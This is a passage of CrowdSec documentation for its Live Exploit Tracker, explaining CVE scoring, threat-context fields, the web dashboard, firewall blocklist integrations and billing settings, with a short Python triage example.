Your firewall will start blocking known attacker IPs automatically This buys you time while you schedule and deploy the patch. ## Automating Triage[โ€‹](#automating-triage "Direct link to Automating Triage") For teams handling many alerts, consider automating the lookup: PYCOPY ``` import os from crowdsec_service_api import Cves, ApiKeyAuth KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) cves_service = Cves(auth=auth) def triage_cve(cve_id: str) -> str: """Return a triage priority based on CrowdSec intelligence.""" try: cve = cves_service.get_cve(cve_id) except Exception: return "UNKNOWN โ€” CVE not tracked by CrowdSec" score = cve.crowdsec_score phase = cve.exploitation_phase.name if score >= 7 or phase in ("mass_exploitation", "targeted_exploitation"): return f"CRITICAL โ€” Score {score}, Phase: {phase}" elif score >= 4: return f"HIGH โ€” Score {score}, Phase: {phase}" elif score >= 1: return f"MEDIUM โ€” Score {score}, Phase: {phase}" else: return f"LOW โ€” Score {score}, Phase: {phase}" # Example usage in a SIEM integration print(triage_cve("CVE-2024-25600")) # Output: "CRITICAL โ€” Score 7, Phase: insufficient_data" ``` This function can be integrated into your SIEM or SOAR playbook to automatically enrich alerts with CrowdSec intelligence and assign initial priority. --- # Overview ## What is the Live Exploit Tracker[โ€‹](#what-is-the-live-exploit-tracker "Direct link to What is the Live Exploit Tracker") The **Live Exploit Tracker** gives security teams real-time visibility into which vulnerabilities are being actively exploited in the wild, who is exploiting them, and how urgently you need to act. Live Exploit Tracker answers the questions that matter during triage: * **Is this CVE actually being exploited right now?** Not just theoretically exploitable โ€” are real attackers targeting it today? * **How worried should I be?** Is this mass scanning noise, or are attackers carefully selecting targets? * **Is the threat growing or fading?** Should I patch now, or is this yesterday's news? * **Who is attacking?** What do we know about the IPs involved โ€” are they known botnets, legitimate scanners, or fresh infrastructure? * **How do I protect my technology stack?** Subscribe to the vendors you rely on and automatically block attacker IPs targeting their products โ€” current and future threats included. The tracker draws on telemetry from the CrowdSec Network โ€” a global community of security practitioners sharing real-time attack signals โ€” to provide exploitation intelligence that goes beyond what traditional vulnerability databases offer. ## Key Capabilities[โ€‹](#key-capabilities "Direct link to Key Capabilities") ### Prioritize[โ€‹](#prioritize "Direct link to Prioritize") Not all CVEs deserve the same urgency. The Live Exploit Tracker provides **two complementary scores** and an **exploitation phase** classification to help you decide where to focus: * **CrowdSec Score** (0โ€“10): A composite severity rating that accounts for both attacker sophistication and current momentum. A score of 8 means "this is actively dangerous and demands attention." * **Opportunity Score** (0โ€“5): How targeted the attacks are. A high score means attackers are carefully selecting victims โ€” an alert on your systems is a serious signal. * **Momentum Score** (0โ€“5): Whether exploitation is growing, steady, or declining. A high score means a new campaign is likely underway. * **Exploitation Phase**: Where the CVE sits in its lifecycle โ€” from *insufficient data* through *background noise* to *mass exploitation*. Each tracked CVE also includes a **CrowdSec Analysis** โ€” a human-readable intelligence narrative describing the vulnerability, observed exploitation patterns, and specific indicators like targeted endpoints. โ†’ [Learn more about Scores & Ratings](https://docs.crowdsec.net/u/tracker_api/scores.md) โ†’ [Learn more about Exploitation Phases](https://docs.crowdsec.net/u/tracker_api/exploitation_phases.md) ### Mitigate[โ€‹](#mitigate "Direct link to Mitigate") Once you've identified a threat, the tracker lets you act on it: * **IP Intelligence**: View every IP address observed exploiting a specific CVE or probing a specific product, enriched with CTI data including reputation, geolocation, known classifications, and behavioral history. * **Firewall Integrations**: Create blocklists that automatically feed malicious IPs into your firewalls (Palo Alto, FortiGate, Cisco, pfSense, OPNsense, and more). Subscribe an integration to entire vendors, specific CVEs, or reconnaissance rules, and the blocklist stays current as new attacker IPs are observed. Vendor subscriptions automatically cover all current and future threats for that vendor's products. ### Beyond CVEs: Reconnaissance Rules[โ€‹](#beyond-cves-reconnaissance-rules "Direct link to Beyond CVEs: Reconnaissance Rules") Not all threats map to a single CVE. The tracker also monitors **Reconnaissance rules** (called "fingerprint rules" in the API) โ€” detection patterns for product-level probing activity. For example, "Microsoft Exchange Probing" catches reconnaissance targeting Exchange servers regardless of which specific vulnerability the attacker intends to exploit. โ†’ [Learn more about Reconnaissance Rules vs CVEs](https://docs.crowdsec.net/u/tracker_api/fingerprints_vs_cves.md) ## How to Access[โ€‹](#how-to-access "Direct link to How to Access") The Live Exploit Tracker is available through two interfaces: * **[Web Interface](https://tracker.crowdsec.net)**: A dashboard for browsing CVEs, viewing timelines and attacker IPs, managing integrations, and reading CrowdSec Analysis reports. Ideal for SOC analysts and security managers. * **[REST API](https://docs.crowdsec.net/u/tracker_api/api_authentication.md)**: Programmatic access for automation, SIEM/SOAR integration, and custom tooling. A [Python SDK](https://github.com/crowdsecurity/crowdsec-service-api-sdk-python) is also available. Both interfaces require an API key. Contact the CrowdSec team to obtain yours if you haven't already. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") | I want to... | Start here | | ------------------------------------- | ------------------------------------------------------------------------------------------------------------------- | | Protect my technology stack by vendor | [Vendor Subscriptions](https://docs.crowdsec.net/u/tracker_api/api_lookups.md#subscribe-an-integration-to-a-vendor) | | Understand what the scores mean | [Scores & Ratings](https://docs.crowdsec.net/u/tracker_api/scores.md) | | Browse CVEs and assess threats | [Web Interface Guide](https://docs.crowdsec.net/u/tracker_api/web_interface.md) | | Automate with the API | [API Authentication & Setup](https://docs.crowdsec.net/u/tracker_api/api_authentication.md) | | Block attacker IPs on my firewall | [Integrations & Blocklists](https://docs.crowdsec.net/u/tracker_api/api_integrations.md) | | Investigate a specific alert | [Triage Workflow Guide](https://docs.crowdsec.net/u/tracker_api/guide_triage.md) | | Set up proactive monitoring | [Proactive Monitoring Guide](https://docs.crowdsec.net/u/tracker_api/guide_proactive.md) | --- # Scores & Ratings ## Overview[โ€‹](#overview "Direct link to Overview") The Live Exploit Tracker assigns multiple scores to each tracked CVE and fingerprint rule. These scores are derived from real-world exploitation telemetry observed across the CrowdSec Network โ€” they reflect what attackers are *actually doing*, not what's theoretically possible. Three scores work together to give you a complete picture: * **CrowdSec Score**: The headline number โ€” how urgently should you care? * **Opportunity Score**: Are attacks targeted or opportunistic? * **Momentum Score**: Is exploitation growing or fading? These are complemented by an **Exploitation Phase** (covered in [its own page](https://docs.crowdsec.net/u/tracker_api/exploitation_phases.md)) and supplementary scores described below. ## CrowdSec Score (0โ€“10)[โ€‹](#crowdsec-score-010 "Direct link to CrowdSec Score (0โ€“10)") The CrowdSec Score is a composite rating designed to answer one question: **how should a SOC prioritize a security alert for this CVE?** It combines the Opportunity and Momentum scores along with additional signals. Generally, CVEs where CrowdSec observes targeted attacks with increasing volume score higher than vulnerabilities used only by automated mass-scanners. | Score | Interpretation | Recommended Action | | -------- | -------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- | | **0** | No observed exploitation or insufficient data | Monitor. Low priority for immediate action. | | **1โ€“3** | Background noise โ€” opportunistic, automated scanning | Patch within your standard maintenance window. Alerts are likely low-signal. | | **4โ€“6** | Active exploitation with moderate targeting or momentum | Prioritize patching. Consider deploying a blocklist for affected CVEs. | | **7โ€“8** | Significant targeted exploitation, often with growing trend | Urgent patching recommended. Deploy blocklists. Investigate any alerts on your infrastructure. | | **9โ€“10** | Critical active campaign โ€” highly targeted and rapidly growing | Emergency response. Immediate mitigation required. Treat alerts as confirmed incidents. | Practical example At the time of writing, CVE-2026-1731 (BeyondTrust Remote Support RCE) has a CrowdSec Score of **9**, with an Opportunity Score of 5 and Momentum Score of 3. This tells you: attackers are deliberately targeting this vulnerability with high precision (not just scanning randomly), activity is above average, and any alert on your systems should be treated as a confirmed incident requiring immediate response. Compare with CVE-2021-44228 (Log4Shell), which currently has a CrowdSec Score of **3** with Opportunity 1 and Momentum 2. Despite its legendary CVSS 10.0, it has settled into background noise โ€” opportunistic scanning at average volume. Patch it, but it doesn't need to jump the queue anymore. *Scores are computed from live telemetry and change over time. The values shown here may differ from what you see today.* ## Opportunity Score / Targeted (0โ€“5)[โ€‹](#opportunity-score--targeted-05 "Direct link to Opportunity Score / Targeted (0โ€“5)") The Opportunity Score measures **how targeted the exploitation is**. It answers: "If I see an alert for this CVE on my network, does that mean someone picked *me* specifically, or am I just caught in a spray-and-pray campaign?" Terminology This score is called **Targeted** in the web interface (with the subtitle "Low = mass scanning, High = targeted") and **opportunity\_score** in the API. They represent the same metric. | Score | Label | What It Means | Alert Significance | | ----- | --------------------------------- | ------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------- | | **0** | Mass scanning | Attackers are hitting IPs at random in automated sweeps. | Low โ€” you're one of millions being scanned. | | **1** | Mostly opportunistic | Largely automated, with minimal target selection. | Low to moderate. | | **2** | Opportunistic with some targeting | Mix of automated campaigns and light reconnaissance. | Moderate โ€” worth investigating. | | **3** | Mixed | Significant portion of attacks show target selection. | Moderate to high. | | **4** | Targeted | Attackers are performing reconnaissance before exploitation. Campaigns are tailored. | High โ€” an alert likely means deliberate targeting. | | **5** | Highly targeted | Precisely targeted exploitation. Attackers select specific victims based on exposure and configuration. | Very high โ€” treat as a deliberate attack on your organization. | Why this matters A CVSS 10.0 vulnerability with an Opportunity Score of 0 might generate thousands of alerts across the internet but pose less real danger to any specific organization than a CVSS 7.5 vulnerability with an Opportunity Score of 5, where every alert represents a deliberate attack campaign. ## Momentum Score (0โ€“5)[โ€‹](#momentum-score-05 "Direct link to Momentum Score (0โ€“5)") The Momentum Score tracks **how current exploitation volume compares to historical averages**. It answers: "Is this threat growing, stable, or fading?" | Score | Label | What It Means | Implication | | ----- | ------------------- | --------------------------------------------------------------------- | ----------------------------------------------------------- | | **0** | Declining / dormant | Exploitation is well below historical levels or has stopped entirely. | Patch at normal cadence. Threat is receding. | | **1** | Below average | Activity is lower than typical. | Reduced urgency. | | **2** | Average | Consistent with long-term trends. | Steady-state โ€” no special urgency beyond the base score. | | **3** | Above average | Noticeable uptick in exploitation activity. | Increased urgency. May indicate renewed attacker interest. | | **4** | Growing rapidly | Significant increase in volume week-over-week. | High urgency. A new campaign is likely underway. | | **5** | Surging | Explosive growth in exploitation activity. | Critical. Active mass campaign or newly weaponized exploit. | Reading Momentum alongside Opportunity The combination tells you different stories: * **High Momentum + Low Opportunity** = A new automated scanning campaign has launched. Lots of noise, but individual alerts are low-signal. * **High Momentum + High Opportunity** = A targeted attack campaign is ramping up. This is the most dangerous combination. * **Low Momentum + High Opportunity** = Persistent, targeted attacks at steady volume. The threat is real but stable โ€” no immediate spike to react to. * **Low Momentum + Low Opportunity** = Background noise is fading. Lowest priority. ## Adjustment Score (0-3)[โ€‹](#adjustment-score-0-3 "Direct link to Adjustment Score (0-3)") The Adjustment Score provides **transparent corrections** applied to the composite CrowdSec Score. | Component | Description | | ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **recency** | A bonus applied when vulnerability release is very recent. A CVE gets a small boost to its total score shortly after release to account for uncertainty in the scores due to a lack of historic data. | | **low\_info** | A penalty applied when CrowdSec has limited telemetry data for this CVE, reducing the score to avoid over-rating vulnerabilities with sparse data. | | **total** | The net adjustment applied to the score. | These adjustments are surfaced so you can understand *why* a score is what it is. For example, if a CVE has a CrowdSec Score of 6 with an adjustment\_score.recency of +1, you know that 1 point of that score comes from very recent CVE release rather than long-term exploitation data. ## CVSS Score[โ€‹](#cvss-score "Direct link to CVSS Score") The Live Exploit Tracker also surfaces the standard **CVSS score** from the National Vulnerability Database. This measures the *theoretical* severity of a vulnerability based on its technical characteristics (attack vector, complexity, impact, etc.). The CrowdSec Score and CVSS score often diverge, and that's the point: * A CVSS 10.0 vulnerability that nobody is actually exploiting might have a CrowdSec Score of 0. * A CVSS 5.4 vulnerability that sophisticated attackers are actively targeting might have a CrowdSec Score of 6 or higher. **Use CVSS for understanding the vulnerability's potential impact. Use the CrowdSec Score for prioritizing your response based on what's happening in the real world.** --- # Threat Context ## Overview[โ€‹](#overview "Direct link to Overview") The `threat_context` object provides geographic and industry-level intelligence about exploitation activity for a given CVE or reconnaissance rule. While [scores](https://docs.crowdsec.net/u/tracker_api/scores.md) tell you *how urgent* a threat is and [exploitation phases](https://docs.crowdsec.net/u/tracker_api/exploitation_phases.md) tell you *where in the lifecycle* it sits, threat context answers a different set of questions: * **Where are attacks coming from?** (attacker countries) * **Who is being targeted?** (defender countries, industry types, risk profiles) * **What do attackers want?** (attacker objectives) All distributions are **percentage-based** and sum to approximately 100. The top entries are listed individually, with an `OTHER` bucket aggregating the remainder. Null and empty values * `threat_context: null` โ€” The CVE or rule has no threat context data at all (insufficient telemetry). * Individual sub-fields as `{}` โ€” Data for that dimension is not yet available, even though other dimensions may have data. This is common for very recently tracked CVEs. ## Attacker Countries[โ€‹](#attacker-countries "Direct link to Attacker Countries") Shows the geographic distribution of attack traffic as observed by the CrowdSec Network. Keys are [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country codes; values are percentages. JSONCOPY ``` "attacker_countries": { "US": 48, "IE": 18, "DE": 7, "FR": 5, "NL": 4, "SG": 4, "GB": 2, "AE": 2, "VN": 1, "OTHER": 10 } ``` info These reflect the **IP geolocation** of attacking infrastructure, not necessarily the nationality of the threat actor. Attackers routinely use cloud providers, VPNs, and compromised infrastructure worldwide. A high percentage for a given country means attack *traffic* originates there โ€” not that the attacker is physically located there. ## Defender Countries[โ€‹](#defender-countries "Direct link to Defender Countries") Shows which countries' infrastructure is being targeted, using the same format as attacker countries. JSONCOPY ``` "defender_countries": { "HU": 22, "FR": 22, "US": 12, "DE": 10, "AT": 8, "SM": 4, "SG": 3, "BE": 3, "NL": 2, "OTHER": 15 } ``` tip If your organization operates primarily in countries that show high defender percentages, this CVE is disproportionately relevant to you. A CVE where 70% of targets are in your country warrants more attention than one spread evenly across the globe. ## Industry Types[โ€‹](#industry-types "Direct link to Industry Types") Shows the distribution of targeted organizations by industry sector. | Value | Description | | -------------------- | ------------------------------------------------------- | | `commerce` | Retail, e-commerce, and commercial businesses | | `education` | Schools, universities, and educational institutions | | `financial_services` | Banks, insurance, fintech, financial institutions | | `government` | Government agencies and public administration | | `healthcare` | Healthcare providers, hospitals, medical organizations | | `industry` | Manufacturing, industrial, and production organizations | | `media` | Media, entertainment, and publishing organizations | | `non_profit` | Non-profit organizations, NGOs, charities | | `SOHO` | Small office / home office environments | JSONCOPY ``` "industry_types": { "financial_services": 1, "commerce": 71, "government": 4, "healthcare": 5, "non_profit": 19 } ``` tip If your industry shows a high percentage, the CVE is disproportionately relevant to your sector โ€” attackers are specifically hitting organizations like yours. ## Industry Risk Profiles[โ€‹](#industry-risk-profiles "Direct link to Industry Risk Profiles") Classifies targets by their **technology risk profile** rather than their business sector. This provides a complementary lens to industry types โ€” two organizations in the same industry may have very different exposure depending on their technology stack. | Value | Description | | ------------------------- | --------------------------------------------------------- | | `critical_infrastructure` | Energy, water, transportation, telecommunications | | `public_service` | Government services, education, public utilities | | `SOHO` | Small office / home office environments | | `technology_business` | Technology-focused businesses, SaaS, software companies | | `traditional_business` | Non-tech commercial enterprises, manufacturing, logistics | JSONCOPY ``` "industry_risk_profiles": { "critical_infrastructure": 6, "traditional_business": 6, "public_service": 6, "technology_business": 65, "SOHO": 17 } ``` ## Attacker Objectives[โ€‹](#attacker-objectives "Direct link to Attacker Objectives") Shows the inferred goals of the exploitation campaigns. | Value | Description | | ------------------------- | ------------------------------------------------------------------------------ | | `data_exfiltration` | Stealing sensitive data for sale, espionage, or leverage | | `infrastructure_takeover` | Gaining persistent control of target systems (botnets, cryptomining, proxying) | | `ransomware` | Encryption-based extortion campaigns | JSONCOPY ``` "attacker_objectives": { "ransomware": 7, "data_exfiltration": 11, "infrastructure_takeover": 82 } ``` info These objectives are inferred from observed attack patterns and post-exploitation behavior across the CrowdSec Network, not from attacker self-reporting. A single campaign may exhibit multiple objectives. ## Practical Example[โ€‹](#practical-example "Direct link to Practical Example") Reading a complete threat context Consider CVE-2024-0012 (PanOS Authentication Bypass). Its threat context shows: * **Attacker Countries**: 48% US, 18% IE โ€” attacks are concentrated from US and Irish cloud infrastructure * **Defender Countries**: 22% HU, 22% FR โ€” Hungarian and French organizations are disproportionately targeted * **Industry Types**: 71% commerce โ€” commercial organizations are the primary targets * **Risk Profiles**: 65% technology\_business โ€” tech companies running PanOS infrastructure are the main victims * **Objectives**: 82% infrastructure\_takeover โ€” attackers want persistent access to PAN-OS management interfaces, not data theft This tells a SOC analyst: if you operate PAN-OS in a tech company in France or Hungary, this CVE should be at the top of your priority list. The attackers are not after your data โ€” they want control of your firewall management plane. *Threat context is computed from live telemetry and changes over time. The values shown here may differ from what you see today.* ## Accessing Threat Context[โ€‹](#accessing-threat-context "Direct link to Accessing Threat Context") * **Web Interface**: Available on each CVE and Reconnaissance Rule detail page in the [Live Exploit Tracker](https://tracker.crowdsec.net). * **API**: Returned in the `threat_context` field of the [CVE endpoints](https://docs.crowdsec.net/u/tracker_api/api_cves.md) (`/v1/cves` and `/v1/cves/{cve_id}`) and [Fingerprint endpoints](https://docs.crowdsec.net/u/tracker_api/api_fingerprints.md) (`/v1/fingerprints` and `/v1/fingerprints/{fingerprint}`). --- # Web Interface ## Overview[โ€‹](#overview "Direct link to Overview") The [Live Exploit Tracker web interface](https://tracker.crowdsec.net) provides a dashboard for browsing tracked vulnerabilities, assessing their severity, viewing attacker IPs, and managing firewall integrations โ€” all without writing a line of code. It exposes the same data as the [API](https://docs.crowdsec.net/u/tracker_api/api_authentication.md) in a visual format designed for SOC analysts and security managers. ### Getting Access[โ€‹](#getting-access "Direct link to Getting Access") To access the web interface, you need an API key. Contact the CrowdSec team to obtain yours if you haven't already. Once you have your key, navigate to and open **Settings** from the left sidebar to enter your API key. ## Navigation[โ€‹](#navigation "Direct link to Navigation") The web interface is organized around a left sidebar with six sections: | Section | Purpose | | ---------------- | ------------------------------------------------------------------------- | | **Home** | Landing page with key stats, trending threats, and most active CVEs | | **Explore** | Browse and search all tracked CVEs and Reconnaissance rules | | **Vendors** | Browse affected vendors and their exposure across the threat landscape | | **Integrations** | Create and manage firewall integrations for automated IP blocking | | **Activity** | View recent exploitation activity | | **Bookmarks** | Quick access to CVEs, Reconnaissance rules, and vendors you've bookmarked | ## Home[โ€‹](#home "Direct link to Home") The home page provides an at-a-glance overview of the threat landscape: * **Key statistics**: Total CVEs tracked, Reconnaissance rules active, and vendors monitored * **Search**: Search across CVEs, products, or reconnaissance patterns from a single search bar * **Trending Threats**: CVEs with the highest activity in the last 24 hours, shown as cards with exploitation phase badges, CrowdSec Scores, first-seen dates, IP counts, and sparkline activity charts * **Most Active**: CVEs with the highest overall volume of attack traffic Each threat card shows the exploitation phase as a colored badge (e.g., "TARGETED EXPLOITATION", "MASS EXPLOITATION", "BACKGROUND NOISE"), the CrowdSec Score, and a miniature activity chart so you can quickly spot trends. ![Live Exploit Tracker Home Page](/assets/images/home-0b824224c8e09bf3d79cb2a9cf220b7f.png) ## Explore[โ€‹](#explore "Direct link to Explore") The Explore page is the main interface for browsing and searching all tracked threats. It has two tabs: ### CVEs Tab[โ€‹](#cves-tab "Direct link to CVEs Tab") Displays all tracked CVEs as a grid of cards. Each card shows: * **CVE badge and ID** (e.g., `CVE-2022-38840`) * **Title** (e.g., "Gucralp - XXE") * **Product** affected * **Last seen** date * **CrowdSec Score** (0โ€“10) * **Active IPs** count * **Activity sparkline** showing recent exploitation trend * **Bookmark** icon to save for quick access Use the **search bar** to find CVEs by ID, name, product, or vendor. Use the **Sort by** dropdown to order results by Trending (highest CrowdSec Score), Most IPs, newest, or alphabetically. ![Explore CVEs](/assets/images/explore_cves-9c6736485baac4a74dc7f0c50e5816c1.png) ### Reconnaissance Tab[โ€‹](#reconnaissance-tab "Direct link to Reconnaissance Tab") Displays all Reconnaissance rules โ€” detection patterns for product-level probing activity. See [Fingerprints vs CVEs](https://docs.crowdsec.net/u/tracker_api/fingerprints_vs_cves.md) for the difference between CVEs and Reconnaissance rules. Cards use the same layout as CVEs but with a "RECON" badge and a rule ID (e.g., `microsoft-exchange`). Titles follow the pattern "\[Product] Probing" (e.g., "Matomo Panel Probing", "Oracle Enterprise Manager Console Probing"). info Reconnaissance rules are called "fingerprint rules" in the API. The web interface and API expose the same data โ€” only the terminology differs. ![Explore Reconnaissance Rules](/assets/images/explore_recon-22cf25346493b30772bc3cabc511e58e.png) ## CVE Detail Page[โ€‹](#cve-detail-page "Direct link to CVE Detail Page") Clicking on a CVE card opens its full detail page. ![CVE Detail Page โ€” Header, Scores, Analysis and Timeline](/assets/images/cve_detail_top-060a40cb942a068459adc06d28d747ac.png) ### Header[โ€‹](#header "Direct link to Header") The top of the page shows: * **Phase badge**: The current exploitation phase as a colored label (e.g., "TARGETED EXPLOITATION") * **CVE ID badge** and **PUBLIC EXPLOIT** indicator (if a public exploit exists) * **Title**: Human-readable vulnerability name * **Key dates**: Published, First Seen, Last Seen * **Reported IPs**: Total count of attacker IPs (linked to the Active Attackers section) * **CVSS score** * **Affected product and vendor** * **Tags**: Technology categories (e.g., `iot`, `cms`, `enterprise_software`) * **Bookmark** and **Subscribe to Firewall** buttons in the top right ### Scores Panel[โ€‹](#scores-panel "Direct link to Scores Panel") A dedicated panel on the right side of the header displays: * **CrowdSec Score** (0โ€“10) with a severity label (e.g., "CRITICAL", "HIGH") * **Momentum** (0โ€“5): How fast attacks are growing. Shown with a progress bar. * **Targeted** (0โ€“5): How targeted vs. opportunistic the attacks are ("Low = mass scanning, High = targeted"). Shown with a progress bar. See [Scores & Ratings](https://docs.crowdsec.net/u/tracker_api/scores.md) for detailed interpretation of these values. Terminology note The **Targeted** score in the web interface corresponds to the **Opportunity Score** in the API. They measure the same thing โ€” how deliberately attackers are selecting their targets. ### Description and CrowdSec Analysis[โ€‹](#description-and-crowdsec-analysis "Direct link to Description and CrowdSec Analysis") Displayed side by side below the header: * **Description**: The official CVE description from the NVD * **CrowdSec Analysis**: A human-readable intelligence narrative covering the vulnerability's nature, observed exploitation patterns, trend analysis, and specific technical indicators. Click "Show more" to expand the full analysis. See [CrowdSec Analysis](https://docs.crowdsec.net/u/tracker_api/crowdsec_analysis.md) for how to use this in triage and reporting. ### Exploit Timeline[โ€‹](#exploit-timeline "Direct link to Exploit Timeline") An interactive chart showing exploitation activity over time. Toggle between **7D** (last 7 days) and **30D** (last 30 days) views. The Y-axis shows the number of distinct IPs observed, and the X-axis shows time. Use this to spot: * Sudden spikes indicating a new campaign launching * Sustained plateaus indicating persistent attacker interest * Declining trends indicating the threat is fading ![CVE Detail Page โ€” Events, Active Attackers and Remediation](/assets/images/cve_detail_bottom-cd7b8d4d2cb06d87cccf743bd30594e4.png) ### Key Events[โ€‹](#key-events "Direct link to Key Events") A table of significant events in the CVE's lifecycle: | Event | Description | | ----------------------- | ---------------------------------------------------- | | **CVE Published** | When the vulnerability was disclosed in the NVD | | **Rule Released** | When CrowdSec deployed a detection rule for this CVE | | **CrowdSec First Seen** | When CrowdSec first observed real-world exploitation | ### Active Attackers[โ€‹](#active-attackers "Direct link to Active Attackers") A list of IP addresses observed exploiting this CVE over the last 3 months. Each IP card shows: * **IP address** * **Reputation badge**: "MALICIOUS", "SUSPICIOUS", etc. * **Country flag and code** * **ASN** (Autonomous System Number) and network name Click "Show more" to expand the full list. #### Attacker Insights[โ€‹](#attacker-insights "Direct link to Attacker Insights") Click the Attacker Insights icon to open a detailed analytics modal that provides aggregate intelligence across all IPs exploiting this CVE: ![Attacker Insights Modal](/assets/images/attacker_insights-e7591d584c8a54825ecd82a7f3c74d9e.png) * **Reputation breakdown**: Donut chart showing the proportion of Malicious vs. Suspicious IPs * **Top Countries**: Pie chart of the most common source countries * **Top Networks**: Bar chart of the most common hosting providers and ASNs * **Classifications**: Radar chart showing attacker categories (e.g., "Data Center IP", "HTTP Exploit Activity", "High Background Noise", "CrowdSec Intelligence") * **Also Targeted By These IPs**: A cross-correlation showing which other CVEs are being exploited by the same set of attackers โ€” useful for identifying broader campaigns ### Related Weaknesses[โ€‹](#related-weaknesses "Direct link to Related Weaknesses") The CWE (Common Weakness Enumeration) classifications associated with this CVE, with descriptions. Click through for more information about the weakness class. ### Remediation & Protection[โ€‹](#remediation--protection "Direct link to Remediation & Protection") Three action cards at the bottom of the detail page: | Action | Description | | ------------------------------------ | ----------------------------------------------------------------------------------------------- | | **IP Blocklist** โ€” Download | Download a plain text list of attacker IPs (one per line) for manual import into security tools | | **Firewall Integration** โ€” Subscribe | Subscribe a firewall integration to this CVE for automatic, ongoing IP blocking | | **IPs Intelligence** โ€” Download JSON | Download full CTI details for all attacker IPs as a JSON file for analysis or SIEM import | ## Vendors[โ€‹](#vendors "Direct link to Vendors") The Vendors page lets you browse and compare vendor exposure across the global exploit landscape. Each vendor card displays: * **Vendor name and logo** * **CVE count**: Number of tracked CVEs affecting this vendor's products * **Recon count**: Number of Reconnaissance rules detecting probing of this vendor's products * **IPs**: Total number of attacker IPs observed targeting this vendor * **Bookmark** icon Use the **search bar** to find a specific vendor and the **Sort by** dropdown to order by Most IPs, Most CVEs, or alphabetically. Clicking a vendor card shows all CVEs and Reconnaissance rules affecting their products. From the vendor detail page, you can **subscribe a firewall integration to the vendor**, which automatically covers all current and future CVEs and reconnaissance rules for that vendor's products. ![Vendors Page](/assets/images/vendors-c0e5c9a5ba3ea4e3227ca1ac0523e43f.png) ## Integrations[โ€‹](#integrations "Direct link to Integrations") The Integrations page is where you create and manage connections to your firewall infrastructure for automated IP blocking. Each integration card shows: * **Name** and **type** (e.g., "Firewall ยท Check Point", "Firewall ยท FortiGate", "Firewall ยท Palo Alto") * **Vendor icon** matching the firewall type * **Subscription counts**: How many CVEs and Recon rules are subscribed * **IPs**: How many IPs the integration's blocklist currently contains * **Subscription count** and **last pulled** status ### Creating an Integration[โ€‹](#creating-an-integration "Direct link to Creating an Integration") 1. Click **+ NEW INTEGRATION** in the top right 2. Choose a name and select the output format matching your firewall vendor 3. Save the integration and **securely store the generated credentials** โ€” they are only shown once ### Subscribing to Vendors, CVEs, and Reconnaissance Rules[โ€‹](#subscribing-to-vendors-cves-and-reconnaissance-rules "Direct link to Subscribing to Vendors, CVEs, and Reconnaissance Rules") There are several ways to subscribe an integration: **Subscribe to a vendor** (recommended for broad coverage): From a vendor's detail page, click the **SUBSCRIBE TO FIREWALL** button. This subscribes the integration to **all current and future** CVEs and reconnaissance rules for that vendor's products. When a new threat is added for the vendor, your blocklist is updated automatically. **From the CVE/Recon detail page**: Click the **SUBSCRIBE TO FIREWALL** button in the top right of any CVE or Reconnaissance rule detail page, then select the integration to subscribe. **From the Remediation & Protection section**: Scroll to the bottom of a CVE detail page and click **Subscribe** under the Firewall Integration card. The integration's blocklist will now include all IPs observed exploiting the subscribed CVEs, matching the subscribed Reconnaissance rules, or targeting the subscribed vendors' products. As new IPs are observed, they are automatically added. ### Consuming the Blocklist[โ€‹](#consuming-the-blocklist "Direct link to Consuming the Blocklist") Your firewall fetches the blocklist from the integration's unique URL at regular intervals. See the [CrowdSec Integrations documentation](https://docs.crowdsec.net/u/integrations/intro) for vendor-specific setup guides. ![Integrations Page](/assets/images/integrations-6dd17cac2144c63f78baedce9b12166c.png) ## Bookmarks[โ€‹](#bookmarks "Direct link to Bookmarks") The Bookmarks page provides quick access to CVEs, Reconnaissance rules, and vendors you've bookmarked. Click the bookmark icon on any card throughout the interface to save it here. ## Activity[โ€‹](#activity "Direct link to Activity") The Activity page shows recent exploitation activity across all tracked threats, providing a feed of notable events and changes. --- # Billing & Plans FAQ CrowdSec Premium Feature ## How do I retrieve my invoices?[โ€‹](#how-do-i-retrieve-my-invoices "Direct link to How do I retrieve my invoices?") warning To access invoices, you need to be an **organization owner** Login to your account and ensure you have selected the correct organization in the organization switcher on the top left corner of the interface. Go to the `Settings` page and click on the `Billing and plans` entry menu. ![settings menu](/assets/images/invoices_settings_menu-0a9f4db09a42956b502688e77c3fe7f8.png) Click on `View billing history` โ€” this will redirect you to Stripe's billing portal where you can view and download all invoices associated with your organization. ![invoices](/assets/images/invoices_stripe-5e5147022494c254c8193da365abddf1.png) ## How do I update my company information?[โ€‹](#how-do-i-update-my-company-information "Direct link to How do I update my company information?") Go to `Settings` > `Billing and plans` and click on `Update billing information`. This will redirect you to Stripe's billing portal where you can update your company name, address, and other billing details. ## How do I add or update my tax ID?[โ€‹](#how-do-i-add-or-update-my-tax-id "Direct link to How do I add or update my tax ID?") Tax IDs are managed alongside your billing information. Go to `Settings` > `Billing and plans` and click on `Update billing information`. In Stripe's billing portal, you can add or update your tax ID under the billing details section. ## How do I update my payment method?[โ€‹](#how-do-i-update-my-payment-method "Direct link to How do I update my payment method?") Go to `Settings` > `Billing and plans` and click on `Update payment method`. This will redirect you to Stripe's payment portal where you can add or replace your credit card or other payment method. ## How do I receive invoices at a different email address?[โ€‹](#how-do-i-receive-invoices-at-a-different-email-address "Direct link to How do I receive invoices at a different email address?") You can configure a dedicated invoicing email address โ€” separate from your account email โ€” in the notification settings. Go to `Settings` > `Notifications`. Under the **Add recipients for your invoicing** section, add the email address(es) that should receive invoices. You can add multiple recipients by separating their email addresses with a semicolon `;`. ![invoicing recipients](/assets/images/invoices_invoicing_recipients-06cd986cc79d6c07bfb0af133ffd012c.png) On the same page you can also toggle invoice email notifications on or off in the Alerts > Invoice available for download option ![invoicing settings](/assets/images/invoices_invoicing_notification_settings-04db91bb90f0e35d7e10f7048bd7e7ff.png) --- # Central API 403 (Forbidden) Getting a **403 (Forbidden)** from **CrowdSec Central API (CAPI)** means your Security Engine requests are blocked or your IP is rate limited.
